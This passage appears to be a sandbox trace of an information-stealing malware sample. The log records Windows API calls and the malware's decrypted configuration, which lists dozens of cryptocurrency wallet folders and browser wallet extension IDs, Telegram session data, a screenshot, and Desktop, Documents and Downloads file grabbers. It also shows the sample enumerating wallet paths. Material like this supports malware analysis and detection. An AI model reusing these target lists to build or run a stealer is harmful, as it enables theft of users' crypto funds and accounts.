Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.241] lstrlenW (lpString="electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4132 [0266.241] LocalAlloc (uFlags=0x40, uBytes=0x20c8) returned 0x6fc408 [0266.241] StrCpyW (in: psz1=0x6f9ac0, psz2="-" | out: psz1="-") returned="-" [0266.241] LocalFree (hMem=0x6fc408) returned 0x0 [0266.241] StrToIntW (lpSrc="26") returned 26 [0266.241] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.241] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.242] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="Electrum\\wallets" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum\\wallets") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum\\wallets" [0266.242] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6fc408 [0266.242] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bff08 [0266.242] StrCpyW (in: psz1=0x6bff08, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum\\wallets" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum\\wallets") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum\\wallets" [0266.242] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum\\wallets\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\electrum\\wallets\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e2286, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\Electrum\\walletЁ", cAlternateFileName="kk")) returned 0xffffffff [0266.242] LocalFree (hMem=0x6fc408) returned 0x0 [0266.243] LocalFree (hMem=0x6bf278) returned 0x0 [0266.243] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.243] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.245] LocalFree (hMem=0x6f4830) returned 0x0 [0266.245] LocalFree (hMem=0x6f7178) returned 0x0 [0266.246] LocalFree (hMem=0x6f9ac0) returned 0x0 [0266.246] StrStrW (lpFirst="wlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.246] StrStrW (lpFirst="elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 